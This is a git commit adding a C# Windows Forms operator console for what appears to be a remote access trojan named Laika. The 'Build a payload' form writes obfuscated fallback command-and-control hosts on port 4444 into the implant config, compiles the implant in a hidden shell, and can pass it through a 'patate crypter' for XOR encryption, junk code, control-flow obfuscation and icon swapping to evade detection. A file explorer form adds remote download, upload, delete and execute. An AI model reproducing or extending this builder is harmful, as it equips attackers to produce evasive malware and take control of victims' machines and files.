add: GUI Server

This commit is contained in:
2024-07-09 19:37:31 +02:00
parent e0cc240808
commit ceecaf7c22
46 changed files with 3002 additions and 68 deletions

6
Server/App.config Normal file
View File

@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
</startup>
</configuration>

364
Server/BuildMenu.Designer.cs generated Normal file
View File

@@ -0,0 +1,364 @@
namespace Server
{
partial class BuildMenu
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.Hosts = new System.Windows.Forms.ListBox();
this.textBox1 = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.button1 = new System.Windows.Forms.Button();
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.label3 = new System.Windows.Forms.Label();
this.checkBox1 = new System.Windows.Forms.CheckBox();
this.checkBox2 = new System.Windows.Forms.CheckBox();
this.label4 = new System.Windows.Forms.Label();
this.textBox2 = new System.Windows.Forms.TextBox();
this.checkBox3 = new System.Windows.Forms.CheckBox();
this.numericUpDown1 = new System.Windows.Forms.NumericUpDown();
this.label5 = new System.Windows.Forms.Label();
this.checkBox4 = new System.Windows.Forms.CheckBox();
this.numericUpDown2 = new System.Windows.Forms.NumericUpDown();
this.label6 = new System.Windows.Forms.Label();
this.button2 = new System.Windows.Forms.Button();
this.label7 = new System.Windows.Forms.Label();
this.label8 = new System.Windows.Forms.Label();
this.button3 = new System.Windows.Forms.Button();
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.label9 = new System.Windows.Forms.Label();
this.contextMenuStrip1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.SuspendLayout();
//
// Hosts
//
this.Hosts.FormattingEnabled = true;
this.Hosts.Location = new System.Drawing.Point(12, 24);
this.Hosts.Name = "Hosts";
this.Hosts.Size = new System.Drawing.Size(145, 121);
this.Hosts.TabIndex = 0;
this.Hosts.MouseDown += new System.Windows.Forms.MouseEventHandler(this.Hosts_MouseDown);
//
// textBox1
//
this.textBox1.Location = new System.Drawing.Point(232, 58);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new System.Drawing.Size(116, 20);
this.textBox1.TabIndex = 1;
//
// label1
//
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(165, 61);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(61, 13);
this.label1.TabIndex = 2;
this.label1.Text = "IP Address:";
//
// label2
//
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(9, 8);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(84, 13);
this.label2.TabIndex = 3;
this.label2.Text = "Fallback servers";
//
// button1
//
this.button1.Location = new System.Drawing.Point(209, 89);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(75, 23);
this.button1.TabIndex = 4;
this.button1.Text = "Add host";
this.button1.UseVisualStyleBackColor = true;
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// contextMenuStrip1
//
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.deleteToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(108, 26);
//
// deleteToolStripMenuItem
//
this.deleteToolStripMenuItem.Image = global::Server.Properties.Resources.delete;
this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem";
this.deleteToolStripMenuItem.Size = new System.Drawing.Size(107, 22);
this.deleteToolStripMenuItem.Text = "Delete";
this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteToolStripMenuItem_Click);
//
// label3
//
this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(9, 166);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(72, 13);
this.label3.TabIndex = 6;
this.label3.Text = "patate crypter";
//
// checkBox1
//
this.checkBox1.AutoSize = true;
this.checkBox1.Location = new System.Drawing.Point(83, 193);
this.checkBox1.Name = "checkBox1";
this.checkBox1.Size = new System.Drawing.Size(113, 17);
this.checkBox1.TabIndex = 8;
this.checkBox1.Text = "Use patate crypter";
this.checkBox1.UseVisualStyleBackColor = true;
this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged);
//
// checkBox2
//
this.checkBox2.AutoSize = true;
this.checkBox2.Enabled = false;
this.checkBox2.Location = new System.Drawing.Point(83, 233);
this.checkBox2.Name = "checkBox2";
this.checkBox2.Size = new System.Drawing.Size(88, 17);
this.checkBox2.TabIndex = 9;
this.checkBox2.Text = "XOR Encrypt";
this.checkBox2.UseVisualStyleBackColor = true;
this.checkBox2.CheckedChanged += new System.EventHandler(this.checkBox2_CheckedChanged);
//
// label4
//
this.label4.AutoSize = true;
this.label4.Enabled = false;
this.label4.Location = new System.Drawing.Point(235, 223);
this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(25, 13);
this.label4.TabIndex = 10;
this.label4.Text = "Key";
//
// textBox2
//
this.textBox2.Enabled = false;
this.textBox2.Location = new System.Drawing.Point(197, 240);
this.textBox2.Name = "textBox2";
this.textBox2.Size = new System.Drawing.Size(100, 20);
this.textBox2.TabIndex = 11;
//
// checkBox3
//
this.checkBox3.AutoSize = true;
this.checkBox3.Enabled = false;
this.checkBox3.Location = new System.Drawing.Point(83, 271);
this.checkBox3.Name = "checkBox3";
this.checkBox3.Size = new System.Drawing.Size(95, 17);
this.checkBox3.TabIndex = 12;
this.checkBox3.Text = "Add junk code";
this.checkBox3.UseVisualStyleBackColor = true;
this.checkBox3.CheckedChanged += new System.EventHandler(this.checkBox3_CheckedChanged);
//
// numericUpDown1
//
this.numericUpDown1.Enabled = false;
this.numericUpDown1.Location = new System.Drawing.Point(234, 270);
this.numericUpDown1.Name = "numericUpDown1";
this.numericUpDown1.Size = new System.Drawing.Size(41, 20);
this.numericUpDown1.TabIndex = 13;
this.numericUpDown1.Value = new decimal(new int[] {
2,
0,
0,
0});
//
// label5
//
this.label5.AutoSize = true;
this.label5.Enabled = false;
this.label5.Location = new System.Drawing.Point(192, 272);
this.label5.Name = "label5";
this.label5.Size = new System.Drawing.Size(36, 13);
this.label5.TabIndex = 14;
this.label5.Text = "Pass :";
//
// checkBox4
//
this.checkBox4.AutoSize = true;
this.checkBox4.Enabled = false;
this.checkBox4.Location = new System.Drawing.Point(83, 298);
this.checkBox4.Name = "checkBox4";
this.checkBox4.Size = new System.Drawing.Size(81, 17);
this.checkBox4.TabIndex = 15;
this.checkBox4.Text = "Control flow";
this.checkBox4.UseVisualStyleBackColor = true;
this.checkBox4.CheckedChanged += new System.EventHandler(this.checkBox4_CheckedChanged);
//
// numericUpDown2
//
this.numericUpDown2.Enabled = false;
this.numericUpDown2.Location = new System.Drawing.Point(234, 297);
this.numericUpDown2.Name = "numericUpDown2";
this.numericUpDown2.Size = new System.Drawing.Size(41, 20);
this.numericUpDown2.TabIndex = 16;
this.numericUpDown2.Value = new decimal(new int[] {
8,
0,
0,
0});
//
// label6
//
this.label6.AutoSize = true;
this.label6.Enabled = false;
this.label6.Location = new System.Drawing.Point(192, 299);
this.label6.Name = "label6";
this.label6.Size = new System.Drawing.Size(36, 13);
this.label6.TabIndex = 17;
this.label6.Text = "Pass :";
//
// button2
//
this.button2.Enabled = false;
this.button2.Location = new System.Drawing.Point(81, 415);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(213, 38);
this.button2.TabIndex = 18;
this.button2.Text = "Build";
this.button2.UseVisualStyleBackColor = true;
this.button2.Click += new System.EventHandler(this.button2_Click);
//
// label7
//
this.label7.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D;
this.label7.Location = new System.Drawing.Point(93, 15);
this.label7.Name = "label7";
this.label7.Size = new System.Drawing.Size(254, 2);
this.label7.TabIndex = 19;
//
// label8
//
this.label8.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D;
this.label8.Location = new System.Drawing.Point(83, 174);
this.label8.Name = "label8";
this.label8.Size = new System.Drawing.Size(263, 2);
this.label8.TabIndex = 20;
//
// button3
//
this.button3.Enabled = false;
this.button3.Location = new System.Drawing.Point(83, 354);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(75, 23);
this.button3.TabIndex = 21;
this.button3.Text = "Select icon";
this.button3.UseVisualStyleBackColor = true;
this.button3.Click += new System.EventHandler(this.button3_Click);
//
// pictureBox1
//
this.pictureBox1.BackColor = System.Drawing.SystemColors.AppWorkspace;
this.pictureBox1.Location = new System.Drawing.Point(195, 332);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(65, 65);
this.pictureBox1.TabIndex = 22;
this.pictureBox1.TabStop = false;
//
// label9
//
this.label9.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D;
this.label9.Location = new System.Drawing.Point(20, 407);
this.label9.Name = "label9";
this.label9.Size = new System.Drawing.Size(325, 2);
this.label9.TabIndex = 23;
//
// BuildMenu
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(355, 465);
this.Controls.Add(this.label9);
this.Controls.Add(this.pictureBox1);
this.Controls.Add(this.button3);
this.Controls.Add(this.label8);
this.Controls.Add(this.label7);
this.Controls.Add(this.button2);
this.Controls.Add(this.label6);
this.Controls.Add(this.numericUpDown2);
this.Controls.Add(this.checkBox4);
this.Controls.Add(this.label5);
this.Controls.Add(this.numericUpDown1);
this.Controls.Add(this.checkBox3);
this.Controls.Add(this.textBox2);
this.Controls.Add(this.label4);
this.Controls.Add(this.checkBox2);
this.Controls.Add(this.checkBox1);
this.Controls.Add(this.label3);
this.Controls.Add(this.button1);
this.Controls.Add(this.label2);
this.Controls.Add(this.label1);
this.Controls.Add(this.textBox1);
this.Controls.Add(this.Hosts);
this.MinimumSize = new System.Drawing.Size(371, 430);
this.Name = "BuildMenu";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
this.Text = "Build a payload";
this.Load += new System.EventHandler(this.BuildMenu_Load);
this.contextMenuStrip1.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.ListBox Hosts;
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem;
private System.Windows.Forms.Label label3;
private System.Windows.Forms.CheckBox checkBox1;
private System.Windows.Forms.CheckBox checkBox2;
private System.Windows.Forms.Label label4;
private System.Windows.Forms.TextBox textBox2;
private System.Windows.Forms.CheckBox checkBox3;
private System.Windows.Forms.NumericUpDown numericUpDown1;
private System.Windows.Forms.Label label5;
private System.Windows.Forms.CheckBox checkBox4;
private System.Windows.Forms.NumericUpDown numericUpDown2;
private System.Windows.Forms.Label label6;
private System.Windows.Forms.Button button2;
private System.Windows.Forms.Label label7;
private System.Windows.Forms.Label label8;
private System.Windows.Forms.Button button3;
private System.Windows.Forms.PictureBox pictureBox1;
private System.Windows.Forms.Label label9;
}
}

179
Server/BuildMenu.cs Normal file
View File

@@ -0,0 +1,179 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Server
{
public partial class BuildMenu : Form
{
public BuildMenu()
{
InitializeComponent();
}
private void BuildMenu_Load(object sender, EventArgs e)
{
this.CenterToParent();
}
private void button1_Click(object sender, EventArgs e)
{
if (textBox1.Text != "")
{
Hosts.Items.Add(textBox1.Text);
button2.Enabled = true;
textBox1.Clear();
}
}
private void Hosts_MouseDown(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Right)
{
int index = Hosts.IndexFromPoint(e.Location);
if (index < 0)
return;
Hosts.SelectedIndex = index;
contextMenuStrip1.Show(Cursor.Position);
}
}
private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
{
Hosts.Items.RemoveAt(Hosts.SelectedIndex);
if (Hosts.Items.Count == 0)
button2.Enabled = false;
}
private void button2_Click(object sender, EventArgs e)
{
string output = "";
button2.Text = "Building...";
button2.Update();
string filePath = @"..\Laika\config.h";
string newContent = @"#define FALLBACK_SERVERS " + Hosts.Items.Count;
newContent += "\n\nchar* fallback_servers[FALLBACK_SERVERS] = {\n";
for (int i = 0; Hosts.Items.Count > i; i++)
{
newContent += "\t\"" + Utils.CAESAR(Hosts.Items[i].ToString()) + "\",\n";
}
newContent += "};\n\n";
newContent += "int fallback_servers_ip[FALLBACK_SERVERS] = {\n";
for (int j = 0; Hosts.Items.Count > j; j++)
{
newContent += "\t4444,\n";
}
newContent += "};";
File.WriteAllText(filePath, newContent);
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = "/C \"\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\"\" -nologo -latest -property installationPath";
startInfo.RedirectStandardOutput = true;
startInfo.UseShellExecute = false;
startInfo.CreateNoWindow = true;
process.StartInfo = startInfo;
process.Start();
string vs_path = process.StandardOutput.ReadToEnd();
process.WaitForExit();
vs_path = vs_path.Replace("\r\n", "");
string cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe";
startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../Laika /p:Configuration=Release;Platform=x86";
startInfo.RedirectStandardError = true;
process.StartInfo = startInfo;
process.Start();
output += process.StandardOutput.ReadToEnd();
output += process.StandardError.ReadToEnd();
process.WaitForExit();
if (!checkBox1.Checked)
{
File.WriteAllText("build_log.txt", output);
button2.Text = "Done !";
return;
}
string args = string.Empty;
if (checkBox2.Checked)
args += " --xor " + textBox2.Text;
if (checkBox3.Checked)
args += " --junk " + numericUpDown1.Value.ToString();
if (checkBox4.Checked)
args += " --control_flow " + numericUpDown2.Value.ToString();
if (pictureBox1.ImageLocation != "")
args += " --icon " + pictureBox1.ImageLocation;
startInfo.Arguments = "/C cd ..\\patate-crypter\\Builder && python gui.py --file ..\\..\\bin\\Laika.exe" + args;
startInfo.RedirectStandardError = true;
process.StartInfo = startInfo;
process.Start();
output += process.StandardOutput.ReadToEnd();
output += process.StandardError.ReadToEnd();
process.WaitForExit();
File.WriteAllText("build_log.txt", output);
button2.Text = "Done !";
}
private void button3_Click(object sender, EventArgs e)
{
OpenFileDialog openFileDialog = new OpenFileDialog
{
Filter = "Icon files (*.ico)|*.ico",
Title = "Select your icon"
};
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
string filePath = openFileDialog.FileName;
pictureBox1.ImageLocation = filePath;
pictureBox1.SizeMode = PictureBoxSizeMode.StretchImage;
pictureBox1.Update();
}
}
private void checkBox1_CheckedChanged(object sender, EventArgs e)
{
bool flag = checkBox1.Checked;
checkBox2.Enabled = flag;
checkBox3.Enabled = flag;
checkBox4.Enabled = flag;
pictureBox1.Enabled = flag;
button3.Enabled = flag;
}
private void checkBox2_CheckedChanged(object sender, EventArgs e)
{
label4.Enabled = checkBox2.Checked;
textBox2.Enabled = checkBox2.Checked;
}
private void checkBox3_CheckedChanged(object sender, EventArgs e)
{
label5.Enabled = checkBox3.Checked;
numericUpDown1.Enabled = checkBox3.Checked;
}
private void checkBox4_CheckedChanged(object sender, EventArgs e)
{
label6.Enabled = checkBox4.Checked;
numericUpDown2.Enabled = checkBox4.Checked;
}
}
}

123
Server/BuildMenu.resx Normal file
View File

@@ -0,0 +1,123 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="contextMenuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
</root>

242
Server/FileExplorer.Designer.cs generated Normal file
View File

@@ -0,0 +1,242 @@
namespace Server
{
partial class FileExplorer
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle();
this.comboBox1 = new System.Windows.Forms.ComboBox();
this.label1 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.textBox1 = new System.Windows.Forms.TextBox();
this.dataGridView2 = new System.Windows.Forms.DataGridView();
this.FileName = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.uploadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.executeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.button1 = new System.Windows.Forms.Button();
((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).BeginInit();
this.contextMenuStrip1.SuspendLayout();
this.SuspendLayout();
//
// comboBox1
//
this.comboBox1.BackColor = System.Drawing.SystemColors.InactiveBorder;
this.comboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
this.comboBox1.FormattingEnabled = true;
this.comboBox1.Location = new System.Drawing.Point(50, 13);
this.comboBox1.MaxDropDownItems = 10;
this.comboBox1.Name = "comboBox1";
this.comboBox1.Size = new System.Drawing.Size(121, 21);
this.comboBox1.Sorted = true;
this.comboBox1.TabIndex = 0;
this.comboBox1.SelectedIndexChanged += new System.EventHandler(this.comboBox1_SelectedIndexChanged);
//
// label1
//
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(6, 16);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(38, 13);
this.label1.TabIndex = 1;
this.label1.Text = "Drive :";
//
// label2
//
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(205, 16);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(74, 13);
this.label2.TabIndex = 2;
this.label2.Text = "Remote path :";
//
// textBox1
//
this.textBox1.Location = new System.Drawing.Point(286, 13);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new System.Drawing.Size(472, 20);
this.textBox1.TabIndex = 3;
this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.textBox1_KeyDown);
//
// dataGridView2
//
this.dataGridView2.AllowUserToAddRows = false;
this.dataGridView2.AllowUserToDeleteRows = false;
this.dataGridView2.AllowUserToResizeRows = false;
this.dataGridView2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.dataGridView2.BackgroundColor = System.Drawing.SystemColors.HighlightText;
this.dataGridView2.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single;
dataGridViewCellStyle7.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle7.BackColor = System.Drawing.SystemColors.Control;
dataGridViewCellStyle7.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
dataGridViewCellStyle7.ForeColor = System.Drawing.SystemColors.WindowText;
dataGridViewCellStyle7.SelectionBackColor = System.Drawing.SystemColors.Control;
dataGridViewCellStyle7.SelectionForeColor = System.Drawing.SystemColors.Control;
dataGridViewCellStyle7.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView2.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle7;
this.dataGridView2.ColumnHeadersHeight = 30;
this.dataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing;
this.dataGridView2.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
this.FileName});
dataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle8.BackColor = System.Drawing.SystemColors.Window;
dataGridViewCellStyle8.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
dataGridViewCellStyle8.ForeColor = System.Drawing.SystemColors.ControlText;
dataGridViewCellStyle8.SelectionBackColor = System.Drawing.SystemColors.Highlight;
dataGridViewCellStyle8.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
dataGridViewCellStyle8.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView2.DefaultCellStyle = dataGridViewCellStyle8;
this.dataGridView2.EnableHeadersVisualStyles = false;
this.dataGridView2.GridColor = System.Drawing.SystemColors.ScrollBar;
this.dataGridView2.Location = new System.Drawing.Point(9, 49);
this.dataGridView2.Margin = new System.Windows.Forms.Padding(0);
this.dataGridView2.MultiSelect = false;
this.dataGridView2.Name = "dataGridView2";
this.dataGridView2.ReadOnly = true;
this.dataGridView2.RowHeadersVisible = false;
this.dataGridView2.RowHeadersWidthSizeMode = System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode.DisableResizing;
dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
this.dataGridView2.RowsDefaultCellStyle = dataGridViewCellStyle9;
this.dataGridView2.RowTemplate.ReadOnly = true;
this.dataGridView2.RowTemplate.Resizable = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView2.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.dataGridView2.Size = new System.Drawing.Size(782, 392);
this.dataGridView2.TabIndex = 4;
this.dataGridView2.TabStop = false;
this.dataGridView2.CellDoubleClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView2_CellDoubleClick);
this.dataGridView2.CellMouseClick += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.dataGridView2_CellMouseClick);
this.dataGridView2.CellPainting += new System.Windows.Forms.DataGridViewCellPaintingEventHandler(this.dataGridView2_CellPainting);
//
// FileName
//
this.FileName.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
this.FileName.HeaderText = "Name";
this.FileName.Name = "FileName";
this.FileName.ReadOnly = true;
this.FileName.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable;
//
// contextMenuStrip1
//
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.downloadToolStripMenuItem,
this.uploadToolStripMenuItem,
this.deleteToolStripMenuItem,
this.executeToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(181, 114);
this.contextMenuStrip1.Opening += new System.ComponentModel.CancelEventHandler(this.contextMenuStrip1_Opening);
//
// downloadToolStripMenuItem
//
this.downloadToolStripMenuItem.Image = global::Server.Properties.Resources.download;
this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem";
this.downloadToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.downloadToolStripMenuItem.Text = "Download";
this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click);
//
// uploadToolStripMenuItem
//
this.uploadToolStripMenuItem.Image = global::Server.Properties.Resources.upload;
this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem";
this.uploadToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.uploadToolStripMenuItem.Text = "Upload";
this.uploadToolStripMenuItem.Click += new System.EventHandler(this.uploadToolStripMenuItem_Click);
//
// deleteToolStripMenuItem
//
this.deleteToolStripMenuItem.Image = global::Server.Properties.Resources.delete;
this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem";
this.deleteToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
